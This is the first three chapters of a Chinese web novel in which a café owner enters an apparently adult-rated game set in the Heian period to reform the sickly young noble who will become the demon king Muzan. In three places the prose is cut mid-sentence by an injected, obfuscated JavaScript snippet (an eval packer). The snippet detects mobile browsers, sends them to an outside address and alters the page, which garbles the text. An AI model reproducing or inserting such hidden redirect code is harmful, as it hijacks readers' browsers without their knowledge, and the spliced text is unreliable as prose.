《在限制级游戏里改造鬼王》 1. 第 1 章 “差不多到时间了。” 羽原雅之转过手腕,表上已经显示九点四十五分。 街上行人稀少,两侧的路灯徒劳照着一小块方砖,浓重的夜色或明或暗,将这间咖啡馆也笼罩上一层冰凉的轻薄夜幕。 此刻的咖啡馆里仅剩下羽原雅之,最后那位顾客于五分钟前付钱离开。 ——羽原雅之,现年26岁,父母不详的孤儿,靠着上学期间打工攒下的钱,在毕业后开了一间面积不大的咖啡馆,内饰是朱红与墨黑交织的复古欧式风格。 这间挂上“日轮咖啡馆”招牌的店面客流量不算多,但胜在稳定,养活他自己一人绰绰有余。 因此,羽原雅之也没有花费额外的钱招聘店员,一切都自己亲力亲为。 盘点完今天的账目,扣除成本后小有盈余。 羽原雅之挽起衬衫的袖口,动手整理台面,清洗咖啡机,将所有东西都逐一归位。 他就住在这间咖啡馆的楼上,回去还是很方便的,甚至可以打一会儿游戏再睡觉——这是他为数不多的爱好之一。 正在这时,门口忽然传来金属轴承互相摩擦的动静,紧接着就是清脆的“叮铃”一声。 羽原雅之:“……” 他看了眼已经被擦得铮亮的咖啡机,又看了眼已经显示十点二十分的指针。 这个时间上门点单? 幸好他就是老板,拥有对顾客说不的权力。 “抱歉这位客人,咖啡馆现在已经停止营业……” 羽原雅之从柜台后直起身,却没在店里看见顾客的身影。 ……? 他的视野仿佛晃神一瞬,紧接着就有道清亮的少年音响起在他面前,就在这柜台前。 “欢迎使用夜斗神明超快又安心跑腿速递,我是您最值得信赖且随时提供上丨门丨服务的神明,专门为了解决一切烦恼而来的——夜斗神!” 双手捧着一个包裹、身穿运动服的俊秀少年朝他露出灿烂笑容,语速又快又清楚的讲完一长串自我介绍。 羽原雅之倒是有听懂。 就是觉得对方可能还在中二病的年龄,譬如会自称是神明或者正义的伙伴之类。 看见他手里那个包裹,羽原雅之了然应道。 “是我预订的新款咖啡豆样品吗?辛苦你了,比我预计的时间要早到一天。” 面对羽原雅之的反应,夜斗仰头“哈哈”爽朗大笑两声,而后将那两个拳头大的包裹朝台面一放,从怀里摸出一张回执单与一支笔,递到他面前。 羽原雅之接过来一看,还不是打印出的固定模板,是手写的。 抬头的寄件人那栏写着【宫神】,一个羽原雅之非常陌生的称呼——至少他预订的咖啡豆供应商里,没有叫这个名字的。 “怎么会是咖啡豆呢,这位客人!” 自称夜斗神的少年笑容灿烂,营业性质十足,又将那个包装严实的小纸箱往他那边推了推。 “这是有人托我跑腿来给你送的礼物啦,礼物!” 羽原雅之困惑“嗯?”了声,“什么礼物?” 他也不记得自己朋友里有叫“宫神”的。 夜斗挠了挠脸,“好像是生日礼物来着,我也没听清楚,哎呀总之就是那家伙忽然把我叫过去,然后忽然丢给我这个东西和一个地址还有我最宝贝最重要的五元钱,然后我就只好这么忽然的跑了过来,把它送给你……” 羽原雅之:“………” “好吧,”他放下回执单,从口袋里摸出钱包,“那我也给你五元钱,你帮我把这个包裹还给那位我并不认识的主人。” “虽然我也很想收下但真的收下就糟糕了所以我先走了感谢您使用夜斗快递期待我们下次再见记得打开包裹查收哦!” 就在羽原雅之辨认硬币面值的功夫,对方一口气说完长串而后又是一连声铃铛撞击音,竟然连回执单都没要,就这么直接跑了! 羽原雅之捏着硬币呆滞半晌,头疼捏了捏鼻梁。 全程都莫名其妙的,难道是小孩子的恶作剧吗…… 连他自己都不知道自己的生日是哪天,他的朋友们怎么可能会知道? 羽原雅之的视线再度落回那张纸质单据,看见上面写的收件地址与人名。 【日轮咖啡店,羽原雅之】。 没有写错,真的是给他的。 “宫神”赠送给他的生日礼物。 羽原雅之迟疑片刻,还是动手将那个纸箱打开。 最上方是一张明信片规格的卡纸,画有一位模样相当俊美的青年。 他单手撑住身体,半坐在榻榻米的床褥上,只穿了件素锦的纯白里衣,落在肩头的墨黑长发松垮散落,末梢卷出几分脆弱的优雅弧度。 不论是从垮下的肩头,抑或鬓角的汗水,抑或失血的肤色,都能看出他的身体格外虚弱,是长期卧床的病人。 可他偏偏又长着一双足够凌厉又漂亮的眼睛。 这张立绘的角度是从上往下俯拍的,于是,羽原雅之能看见他并不能长时间维持久坐的姿态,整个人都已显得摇摇欲坠,却气势十足的朝他瞪过来,仿佛一言不合就要下令处死胆敢忤逆他的仆从。 不得不说,这张立绘的完成度实在太过出色,羽原雅之的兴致一下就升了起来。 他喜欢玩的游戏类型确实与主流不太一样,而卡片上的立绘很精准摸中了他隐秘的喜好。 话说,这张脸看起来有点眼熟……但他一时间想不起在什么地方见到过。 羽原雅之翻过卡片的背面,上面写着数行字。 竟然还是用毛笔沾着墨汁写出来的,而不是板正的印刷体。 【羽原大人 启: 此款游戏名为《■■鬼王无惨》(前两个字被涂抹),如您所见,他的性格极其冷酷傲慢,乃罹患先天绝症的平安时代贵族,此后将会堕落至以吃人维生、行事手段残忍的千年鬼王。 望您能以看护者的身份,通过必要的互动与关怀,使这位鬼王愿意敞开心扉,变得开朗而活泼,重拾对生活的热情与希望。 此款游戏会为您提供一切相应的便利。 若能成功通关,您同样会获得一份与您身份相称的礼物。 宫神大人暂且无空,由鄙人代笔书写。 衷心祝愿您武运昌隆。】 羽原雅之费劲读完了这段古日语措辞、字体还带连笔的游戏介绍。 这位鬼王出身不愧是设定为平安时代的贵族,连游戏的背景故事介绍都要写得如此……符合时代特征。 说到鬼王,他还真的想起来自己在哪里见过这张脸了。 近来有部作品大火,好像里面有个人人喊打的反派,就是吃人的鬼王来着。 他听了个大概,并没有看过具体剧情。 不过,日轮咖啡馆就开在高中旁边的街道上,来这里消费的学生不少,经常能从他们口中了解到一些时下的流行。 例如那个什么鬼王,大家统一的形容就是“屑”。 嗯,结合卡片上的介绍,果然是个性格冷酷傲慢、行事手段残忍的最终反派啊。 羽原雅之又将纸箱底部那张卡带取出。 那这个算什么,同人攻略游戏? 玩一款攻略游戏,也需要祝他武运昌隆吗?又不是攻占整个日本岛…… 上面还写着游戏通关后,会再给他一份奖励。 还与他的身份相称……一大袋优质咖啡豆? ——或许,他可以先打开游戏尝试,如果觉得无聊再退出就好。 羽原雅之走神片刻,再将注意力放回手上时,发觉——那枚捏在手里的游戏卡带不见了。 是真的彻底消失了,纸箱里、柜台还有地面,到处都没有。 当羽原雅之再看向手里那张立绘、与那位鬼王的眼睛对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041409|194700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上时,巨大的眩晕感自相接处溢出,如波纹般迅速扩散,将他彻底吞没。 啪。 随即,店内的灯光也同时熄灭,整片空间彻底陷入黑暗。 ……… 平安时代。 若说历史上最浮华迤逦的日本朝代,非公元794年开始的平安时代莫属。 位于上层统治阶级的贵族,极端强调【礼仪】与【教养】,一饮一食都十分严苛。 自然,真正生活在这个时代的人们,是不会知晓自己生活的此刻被后世统称为“平安时代”的,他们只清楚自己生活的都城名为“平安京”。 平安京是天皇、贵族与武士家族生活的地方,对【风雅】的追求也到达一个极致。 他们会每日每日的举行各种宴会,包括但不限于诵和歌、踢蹴鞠以及射箭,并将优胜者视作“真正的贵族”。 而出生贵族之家,却无法参与到这些社交性质远大于玩乐性质、必定被他人嘲笑的上流宴会的人——甚至连家门都无法迈出一步,终日与死亡相伴的人—— 他的恨意早已如海底的暗澡滋生,铺天盖地,又透过那双幽深瞳孔折射出几许冰冷的碎片。 “请恕小人打扰,殿下。” 一名仆从自回廊走来,跪拜在他的面前。 由于他只能终日躺在床上,致使仆从跪拜的姿态都要更卑微些,脑袋恭敬贴服在榻榻米上,双手交叠于前侧。 “说。” 他缓慢吐出一个字,音色偏哑,比同龄人要低沉些,威压更甚。 “您要求我们寻找的、能够治愈您的疾病的医生尚未有下落。清和天皇陛下知晓此事后,特意派遣一位神官大人来照看您。” “神官?” 他的语速始终很慢,带着一点抑扬顿挫的贵族特有腔调,但神色间已明显对那人毫无兴趣。 “我不需要那种只会对着我夸夸其谈的无用废材,让他离开。” “这个……” 仆从的应答变得迟疑。 “嗯?” 死亡愈发逼近,一丁点不顺心的事情就足够使他的怒意上涨,甚至撑着床面勉力坐起,出声呵斥。 “因为我快死了,连你也不打算听我的命令了是吗?上一个在后面议论我还能活多少年的仆人已经被砍下脑袋,你现在也想追随他而去是吗!” 他的体力并不足够支撑他说完这段话。 于是到了后半句,他的呼吸变得急促,汗津津的墨色发丝黏在鬓角,将肤色衬得更加苍白。 所有人都已认定他必将早亡,所有人都断言他活不过二十岁,眼下最多能再活三四年。 他们都藏在帷幔与折扇后面,等着瞧他的笑话! 那位仆人还没有回应,用来充作门扉的半卷竹簾后已传来另一道声音。 “您的脾气还真如我所听闻那般糟糕呢,月彦大人。” 说出这句话的人身量很高,穿着宽大标致的纯白绣纹狩衣,透过肩部与袖口能看见内里单衣是海松色的,搭配相当讲究,地位不低。 而当对方在面对他随意坐下时,被称为月彦的他面色已沉出了极为不满又努力克制的状态。 “我不需要占卜吉凶的神官。而你,在来此之前,应当提前送拜帖给我。” 贵族不可失礼。 即使他这副坐在床上衣衫不整,披散着头发,连外袍也没有穿着的装束,已经是相当不体面的表现。 但他可以立刻将缘由归咎于对方不请自来,更加无礼。 总之,不可能是他有问题。 “你应当听见他说的话了,我会成为你接下来一段时间的看护者,这是已经定下的事实。” 合拢的折扇在掌心轻轻敲打两下,朝月彦望过来的目光看似平淡含笑,却令后者不适到眉心紧紧拧起,唇线紧绷。 “我的名字叫羽原雅之,你要牢牢记住这点。” 2. 第 2 章 “我不需要记住无关紧要的名字。” 对于这个不请自来的神官,情绪本就极差的月彦没有给他多少好脸色。 甚至冲着他缓慢眯起眼,给予了一句相当怠慢的回应。 旁边跪拜在地的仆从已经紧张到瑟瑟发抖了。 民间那些私自信奉的神婆、大师、萨满以及其它神职人员还好说,左右不过只在一两个村落里的影响力大些而已,本身并没有什么真正的出息。 但这位可是听命于天皇的神官大人啊,与那些装腔作势的刁民可不一样! 如果惹恼了神官大人,甚至不必去向天皇陛下告状,只需在什么祭祀中提一句“凶”,就足以令整个产屋敷一族成为被针对的靶子! 在短暂的死寂氛围里,仆从不敢抬起头哪怕半分,冷汗都快要浸湿整个后背。 而区区仆从都明白的道理,接受过精英教育的产屋敷月彦又怎么可能不明白? 自从一百年前的恒武天皇为了摆脱佛教、大和遗族与公家的掣肘,决定迁都平安京以来,接受来自中原天朝上国关于阴阳五行、天文、历法及周易等文化的阴阳道,逐渐成为天皇重要的幕僚机构之一,深受贵族信赖。 这些被收编的神官也被称为“阴阳师”,就职于“阴阳寮”,隶属中务省,最高甚至能做到【从四位】以上的官位。 具体的职务类型不谈,仅以官阶论,朝廷的官员从低至高分别为【少初位】、【大初位】、【从八位】、【正八位】、【从七位】、【正七位】、【从六位】……一直到最顶点的【正一位】。 而在这些官阶划分中,又以一至三位被称为“贵”,乃真正拥有实权与历史渊源的大贵族阶层。 四至五位被称为“通贵”,意为通往贵族的层级,也可算得上是新晋贵族,或是势力没有那么强大,仅能依附大贵族的小贵族阶级。 至于六位以下,则是因各种缘由拥有官身、但出身并不属于贵族范畴的普通人。 如果他们努力经营,又有点气运在身,或许以后有可能通过一些方式,成功进入贵族阶层。 有了官阶来区分身份,穿着的衣袍自然也会有对应阶级的颜色。 详细的划分与特殊情况说起来较为复杂,简单理解就是官阶越高,有资格穿的衣袍颜色越深。 眼前这家伙穿的内里单衣是海松色,并非正式的朝服,而是私下较为休闲的装束。 因此,仆从辨认不出他的身份,只将他当作尊贵的天皇近臣对待。 而产屋敷月彦,他虽然因病被迫足不出户,真正贵族该掌握的知识与眼光,并没有落下半分。 眼前这家伙最多只到正五位,就算他不给面子又如何?他所在的家族是正三位以上的大贵族,即使不给对方好脸色看,他也不能拿自己怎么样。 笑话,神明什么的不过虚构而已,这帮神官不过是得到几分贵族的礼待,才能获得相应的体面。 就算不给礼待又如何,他根本不信那些所谓的大凶之言,根本就是荒谬的无稽之谈! 产屋敷月彦冷冰冰盯着身前这个屈膝而坐,浑身气场散漫又悠哉的年轻男人。 只用看过去第一眼,他就由衷感到反胃。 唇边挂着那点刺眼的轻慢笑意,皮肤下的气血红润饱满,敢直视他的那双眼睛同样透出鲜活的神采,握着折扇的手暴露在袖口之外,整齐的指甲也同样是健康的殷粉色。 刚才从门外走进来的姿态也是,脚掌踩在榻榻米上的每一步都很稳重。 既不会因为虚弱而摇晃,也不会在下一刻就失去重心,非得找上手边什么东西扶着不可。 那身宽大狩衣下的脊梁也是挺直的,腰腹被衣带束起也不会感觉难受,走动时的衣袍下摆小幅度摇曳,又随坐姿而稳稳落在榻榻米上,而不需要用手撑扶。 这样的人,这样的混账,就这样一派轻松出现在自己的面前,用居高临下的态度对他说,要记住他的名字。 真叫人反胃。 羽原又是哪里来的姓氏?没有听过,不值一提。 产屋敷月彦冰冷盯着眼前这个叫羽原雅之的男人,甚至为自己刚才的口出恶言而感到一阵难以言喻的莫名快慰。 他就是要下对方的面子又如何,区区一个不知道哪里来的野术士,竟然还想来当他的看护者? 痴心妄想。 “听懂了就回去。” 他毫不客气又补充了一句,不加丝毫敬语措辞,是以接近命令的口吻说出来的。 在规矩森严的贵族阶级,这种说话方式已经是极其不给面子的行为了,同样只有对待家仆与下级才会这么做。 仆从被惊得又是剧烈一抖,不敢发出半点声音。 殿下自幼患病,在寝殿躺久了,脾气素来喜怒无常,根本不可用常理推测。 只求他不要遭到牵连才好…… 待时间流逝过短暂又漫长的片刻,羽原雅之终于给出了反应。 他坐在原地没有动。 不仅没有动,还将手中那柄描摹有花纹的木扇一折一折展开,又慢条斯理地一折一折合拢,似乎在把玩什么有趣的新奇玩意。 “我大概知晓你的脾性了,月彦大人。” 他的声音也是健康的,吐字清晰有力,即使再露出漫不经心的神色,那颗胸腔下的心脏也不会因此而纠紧,发出难忍的剧烈痛楚。 为此,产屋敷月彦感到万分的不愉快。 他半点也无法容忍对方仍然待在他的面前。 那个展开折扇又合拢的无意义动作,根本就是对他刚才话语的一记反击。 他在嘲笑他,在向他发出无言的讥讽,笑话他连这般简单的动作都无法做得游刃有余,只能眼睁睁看着……! 还有这家伙从刚才以来使用的措辞也是,明明口中貌似尊敬的喊着他“大人”,实际则是“你”、“你”的来称呼他! 根本不将他放在眼里! 倘若羽原雅之知道此刻瞪着他的产屋敷月彦脑子里在想什么,一定会觉得挺冤枉。 他并不是真正来自平安时代的贵族,自然压根没有领悟到产屋敷月彦刚才的言外之意。 现代日语的敬语体系已经相对简化许多,而他又是毕业即开店的,都拿出对待顾客的态度对待这位躺在床上的未来鬼王大人了,对方还有什么不满意? 但他好像还真的特别不满意。 嗯,毕竟是性格恶劣的最终反派,可以理解。 羽原雅之借着把玩折扇的功夫,思考他接下来要怎么做。 他现在相信那个自称夜斗神的少年身份并不一般了。 毕竟就算是科技再发达的现代社会,目前也没听过那款游戏能够让玩家眼睛一闭一睁,就来到如此逼真的平安时代。 当他恢复意识后,他周遭世界的时间仿佛停止流逝,唯有一片半透明的屏幕悬浮在他面前。 【欢迎进入《■■鬼王无惨》游戏,默认初始游玩时间点:平安时代。】 【请填写您希望被称呼的姓名。】 希望被称呼的姓名啊…… 羽原雅之略沉吟片刻,还是填上了自己的本名。 虽然也想过是否要填一些有趣的名字——例如【英俊的爸爸】——但倘若不分男女老少,走到哪里都有一群人默认喊他爸爸,羽原雅之还是不怎么乐意的。 况且,这款游戏实在太不一般,即使羽原雅之玩这类攻略游戏一般更习惯使用游戏的默认姓名,此刻也决定使用自己的名字。 他都快要怀疑自己是不是真的被游戏送来平安时代了。 凭意念敲定姓名后,光幕立刻又弹出新的选项。 【请选择您的初始游玩身份。】 【->神官:隶属于阴阳寮的阴阳师,阴阳博士,正五位下官阶,深受清和天皇喜爱。】 【->家臣:隶属于藤原家族的侍臣,参议,从四位下官阶,深受太政大臣藤原良房的喜爱。】 【->武士:隶属于源氏武家,检非违使长官,从四位上官阶,深受源弘喜爱。】 【->仆从:隶属于产屋敷家族的仆从,无官阶,深受产屋敷族长的喜爱。】 【注:您拥有的身份并不唯一,可在后续的游玩中获得更多身份。当获得多种身份后,您可以自由选择切换自己的身份。】 【当前可切换身份:无。】 除去最后那个仆从外,另外三个给羽原雅之的初始身份都不低,足以令他跻身贵族行列,还掌握一定权力。 分别代表神道教、公家和武家,可以称得上是当前最主流的三种势力。 如果他要去的是清和天皇时代,那么眼下就是平安时代的早期到中期的过渡阶段,虽然中心权利还掌握在天皇手里,但已开始向公家转移。 藤原良房就是第一个以外戚身份当上摄政大臣的公卿贵族。 武家势力相对弱一些,要到平安时代后期才开始发力。 既然是最重要的开局身份,他得慎重选择。 首先排除仆从选项。 能够近距离接触乃至照顾无惨的身份是看起来不错,但平安时代的等级森严、贵族又视所有低等百姓为蝼蚁。他但凡有哪点做的不让对方顺心,都会被随意处死。 武士更是不可以。 如果他是真的被送来平安时代,所处的一切都是真实的,他选择成为武士后该怎么办?上学期 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041410|194700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间压根没接触过剑道,拿起武士刀也没办法跟别人战斗,立刻就被一刀劈死也太划不来了。 作为文职的家臣看起来不错,也有一定的官阶。 但他来这里是为了改造鬼王,而不是体验平安时代工作特色,没必要还让自己每天多上几个小时的班。 最后就只剩神官。 这个身份确实十分便利,平安时代也是阴阳道最盛行的时代,上至天皇下至百姓都十分推崇“神明的指示”,贵族们更是日常琐事都要请神官占卜吉凶。 羽原雅之记得他在书上看过,最初贵族们只是大事才请神官,但发展到后来,竟然连洗头沐浴都要进行占卜请示,倒霉起来一个月也洗不上一次澡。 也就是说,哪怕阴阳博士的官阶低了些,但只要他以神官的身份进行一些“占卜”,而后说他收到“神明指示”,需要前往产屋敷家族照看那位此刻尚且绝症缠身的贵族人类,信赖他的天皇百分之百会应允。 羽原雅之很愉快的选择了神官。 【已确定您的初始身份为:神官。】 【开始匹配您的初始天赋。】 【匹配成功,已确定初始天赋:《万世一系·永恒》。】 【天赋描述:您的体内流淌有天照大神的一丝血脉,您乃真正的神祇后裔。获得天照大神的血脉庇佑,当您使用卜筮、咒法与堪舆相关的技能时,准确率提升至70%。】 【注:初始天赋唯一且不可替换,具有可成长性。】 看完介绍的羽原雅之:……还真成神棍了? 那他刚才要是选择武士,是不是也真的可以精通剑道? 忽然有些遗憾。 不过,他后期还可以获得新的身份,或许也可以获得对应的技能。 这点倒是不着急,他点击【确认】,成为了新晋·大阴阳师。 在一堆胡说八道的神棍里能有70%以上的预判准确率,谁听了不得称一声“大人”,难怪能受到天皇信赖。 接着,光幕终于切换到他之前见过的立绘上,旁边还有更详细的介绍。 【姓名:产屋敷月彦】 【身份:人类】 【年龄:17】 【身高:168cm】 【体重:42kg】 【兴趣:读书、找到治愈自己绝症的方法】 【厌恶:死亡、看不起自己的人】 【性格:残忍、霸道、冷漠】 【依恋度:?】 【描述:?】 游戏刚开始,未来的鬼王无惨眼下只是一个名为产屋敷月彦的17岁少年,身体羸弱得厉害,甚至无法正常发育。 性格倒是一如既往的差,羽原雅之看一眼就直摇头。 除此以外,他也好奇过这个依恋度具体是指什么。 对未来生活的希望? 等当他此刻确实按照计划那般,通过天皇下诏令而顺理成章成为产屋敷月彦的看护者,坐到他面前时。 系统的描述也变了。 【姓名:产屋敷月彦】 【身份:人类】 【年龄:17】 【身高:168cm】 【体重:42kg】 【兴趣:读书、找到治愈自己疾病的方法】 【厌恶:死亡、看不起自己的人、羽原雅之】 【性格:残忍、霸道、冷漠】 【依恋度:0】 【描述:产屋敷月彦觉得你很恶心,想要杀了你。】 羽原雅之把玩折扇的手停住:“…………” 好极了,他还什么都没有开始做,这家伙就已经讨厌到想要杀死他。 这个依恋度,原来是冲着他来的。 ——寂静到近乎凝固的气氛里,产屋敷月彦盯着那个面色淡然的家伙,见到他压在折扇边沿的指尖一停,抬眼朝他似笑非笑望过来。 产屋敷月彦为心底忽然泛起的异样情绪而无意识急促呼吸片刻,又好似恼怒自己露了怯般,愈发憎恶的瞪了回去。 “你似乎误解了一件事,月彦。” 而这家伙,甚至连刚开始的尊称都已经舍弃,直接唤他的本名。 那柄折扇也被对方握在掌中,而后倾身踏前半步,将扇尖点在他的额头——点在那片冰凉的、浮着虚汗的、发丝凌乱且黏腻的苍白肌肤上。 居高临下的,好似奉行所的执事在对罪人下达裁决。 那双憎恶的、凌厉的、漂亮的眼睛,此刻终于因惊讶与屈辱而睁大,头也随这份力道而被迫仰起,猫似的瞪着他。 “我的意志,”羽原雅之淡淡开口道。 “你只需服从即可。” 3. 第 3 章 话音落下在这片帷幔垂下的寝殿内。 产屋敷月彦几乎受不得风,终日只能待在光线昏暗的幽闭室内,空气里都浮动着草药的腥苦味道,挥之不去。 连他本人也与那一碗碗熬出来的草药渣同样,瘦削的、单薄的、羸弱到无法起身的,一切用来形容久卧在床的病人的词语,都可以放在他身上。 羽原雅之垂眼往下望去,能看见那头黑发卷曲如海底的暗藻,丝丝缕缕的挂在他肩头,落在他后背,仿佛一张如影随形的网,缓慢地将他绞紧,直至吐出最后一口呼吸。 这大概是他身上,色彩最浓重的地方。 除此以外呢?他的肌肤是苍白的,骨节是凸起的,唇色是惨淡的,只有当他用力抿起嘴、或五指抓紧身下的布料时,才能泛出那么一星半点的血色。 这具身体不论怎么看,都与健康相去甚远。 先天绝症本就难以治愈,遑论眼下还是医疗技术并不发达的平安时代。产屋敷月彦能够活到17岁,已经算是他本人的求生意志极其强烈了。 外加他所在的家族有能力寻遍医生,找来各种珍稀药材为他续命。 而他仅是用扇尖轻轻点在他的额头,再略施加了些力道,就足以迫使他抬起下巴,连抵住扇尖反抗的力道都没有。 羽原雅之自觉已经挺尊重这位月彦殿下,并没有随意动手触碰他的身体,而是换做扇尖代劳。 ……显然,作为一个现代公民,他并不了解古代的町奉行所——即现代的执法部门——是对待罪人的。 如果罪人不老实,他们会安排部下先用麻绳将罪人的双手困住,两根木杖交叉穿过他的腋下,将他的脑袋牢牢固定成跪拜的姿势。 而那位町奉行所的执事,也被成为奉行,会将手中折扇的扇尖对准罪人,冷酷的下达裁决。 有罪。 他有罪。 他在眼前这个神官的眼里,有罪。 产屋敷月彦被坚硬的扇尖抵住额头,连脑袋也只能被迫仰起。 是担心被传染疾病么,连触碰都不屑,仅用这种粗糙劣质的扇子,竟敢宣判他刚才犯下了罪?! 巨大的屈辱与愤怒涌上他的心头,令他咬紧牙关、目眦欲裂,呼吸也开始变得急而短促。 到了此刻,他的脸上终于浮现出比较明显的血色了。 虽然从羽原雅之的视角看来,眼前这位贵族少爷只是情绪忽然变得稍许激动,几乎对他的言语反馈出巨大的不满。 看了眼依恋度,还是0。 倒也正常,反正都想杀死他了,难道它还能倒扣成负数不成? 下一刻,产屋敷月彦挥手打开那柄扇子,却又转而捂住嘴,咳得半晌也止不住。 仆从这时候不能装死了,立刻从原地跳起来,匆匆离开。 “小人去取热水与药来!” 羽原雅之看了眼自己手里的扇子。 连肢体抗议都这么有气无力的,甚至没能把它从自己的手里打飞出去。 再看向产屋敷月彦,他仍然咳得厉害,说不出话,只拿那双尾端偏上挑的眼睛狠狠瞪着他,恨不得就这样把他瞪死。 如果换个人在这里,大概会很担心的上前给他拍背,或者急切询问他有没有事,感觉怎么样。 但羽原雅之知道这位月彦殿下还不会死在这时候,他以后会成为鬼王,至少活个千岁起步。 于是,羽原雅之反而又重新坐回在榻榻米上,扇柄握在五指间,再度轻轻一敲掌心。 “既然你在三秒内没有拒绝,我就默认你答应了。” 他就这么淡定的趁人之危,悠悠说出令产屋敷月彦火冒三丈的话来。 “…………” 产屋敷月彦边咳个不停,边恼恨的用力瞪着他。 好生气,气得浑身都在颤抖,气得脑袋发昏着眩晕,眼前闪出大片的星点,气得连坐起的姿势也只能勉强维持,小臂开始感到酸软。 而他的体力甚至不足以支撑他此刻的愤怒,剧烈些的情绪没能向对方倾泻过去,反而险些伤到自己。 方才的仆从去而复返,端着托盘匆匆进来。 他跪坐在产屋敷月彦的床褥边,又是喂药又是灌水,好不容易让后者停止咳嗽后,又从水盆里拧出一条打湿的毛巾,要为他擦身体。 产屋敷月彦的身体太虚弱,仅是一次坐起、一次剧烈的咳嗽,就令他盗了浑身的虚汗。 那件单薄的纯白里衣,此刻已浸出星点似的深斑。 经过刚才那番举动,羽原雅之从原本距离产屋敷月彦还有一米距离的位置,同样变成了他的床褥旁,这一幕便也尽收眼底。 大约是羽原雅之没有半点回避的意思,产屋敷月彦喝完了药,就伸手捉住仆从伸过来的手腕。 “退下,不用你做这个。” 他的嗓音更哑了。 握住仆从的力气并不需要很大,后者就会自觉停住动作——不像那个混账,竟然用如此轻慢的态度对待他! 没错,就是这个混账神官,是完全不懂礼仪与教养吗,还用那种端详物品似的目光来看他,根本不懂什么叫避嫌! “可是,殿下如果不及时擦干身体,很容易因风凉发烧……” 仆从小声嗫嚅了句,见那道想杀人的眼神开始从神官大人身上往自己这边挪,惊得赶紧再接一句“遵命”,就又端起托盘趁机匆匆离开。 寝殿内,只剩下羽原雅之与产屋敷月彦。 按照通常的做客礼仪来说,羽原雅之确实知道自己眼下该离开了。 这位主家甚至连茶都不肯上给他一杯,像一只炸了毛弓起身的猫,浑身上下都充斥着强烈的抗拒。 但他此刻是在玩游戏,还是攻略游戏,通关的唯一要求是改造眼前这位未来鬼王,让他变得开朗又活泼,重拾对生活的期望。 不多与目标接触,他要怎么完成这个通关要求呢? 羽原雅之老神在在,就像待在自己家里那般自在,根本不将对方的排斥放在心上。 好半晌过去,产屋敷月彦终于控制好情绪,再次开口,态度比方才更强硬——还充满尖锐的恶意。 “你只是一个区区阴阳师平民,也敢要求我服从你?不过是学了点卖弄奇技淫巧的本事,你自以为向天皇请示来照看我,就能获得产屋敷一族的势力支持,让自己也能获得【贵】的身份了吗?” 他微微眯起眼,暗藻般的发丝被精心打理过,沁着一点点汗湿的潮气,随前倾的动作而柔顺的垂落在身前。 本人却与柔软无害的头发相反,正用言语毫不留情地去戳这帮阴阳师共有的痛处。 “自以为是的家伙,好好掂量自己的斤两,再考虑如何向我恳求饶了你性命,放你平安无事的回到阴阳寮去。” 说出这段话又花费了他不少力气,本就没有擦干的虚汗冒得更多了,在轻微喘息声中沁出肌肤,紧紧黏在发丝与布料上。 换来的是羽原雅之微微偏了点头,若有所思打量起他来。 脸上没有半点被激怒的意思。 这副不以为意的模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041411|194700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,反而令产屋敷月彦感觉自己的模样变得更加狼狈,既没有穿戴整齐的狩衣,也没有将长发清爽束起的乌帽子,连坐起身都只能弓着背。 可恨……可恨得要命! 漫长僵硬的氛围里,产屋敷月彦终于听见对方慢吞吞开口。 “赶走仆从,又对着我发脾气,是希望我亲自为你擦拭身体吗?” 在只有他一人能看见的半透明光幕上,列有数行文字。 【您目前可通过以下互动方式,增加目标对您的依恋度。】 【抚摸脑袋】 【触碰身体(当前仅夜间可用)】 【换衣服】 【外出】 【注:随着依恋度提高,可增加依恋度的互动方式与种类也会增多。】 【注:您可通过任意行为探索更进一步的互动方式,提高目标对您的依恋度。】 羽原雅之盯着【触碰身体(当前仅夜间可用)】这行字,沉默了会。 这款游戏……似乎,好像,并不是全年龄适配的那种游戏啊。 能够在夜晚触碰身体,不就在明示它是包含限制级互动的那种工口游戏吗? 后续的“任意行为”,应该是他想的那种行为吧…… 羽原雅之的目光从那行字滑过,落在眼前这位羸弱贵族少爷的身上。 而对方似乎被他方才话里的内容冲击到了,表情呆住了一会儿。 产屋敷月彦:“………” 产屋敷月彦:“哈?” 过去数秒,他终于张口,吐出很不优雅的一个发音。 这人的脑子有毛病吗?他刚才说的话究竟哪点是表达了这个意思? “你应该早点说的,那个仆人将水盆都带走了。” 在他难以置信到扭头瞪过来的视野里,还看见对方竟然真的起身,说着什么“我去将它重新端回来”…… “………谁要你当仆人给我擦身体?你以为自己这样做就能获得我的原谅?” 产屋敷月彦提高声音,“我不需要你这个粗手粗脚的家伙,想当我的仆人,你不如就在这里直接自杀投胎!” 他不能直接下令杀了天皇宠幸的爱臣,只能用言语压榨对方的情绪,令他变得战战兢兢、慌张又害怕,最后逃难般的从自己身边离开,或是跪地磕头求饶。 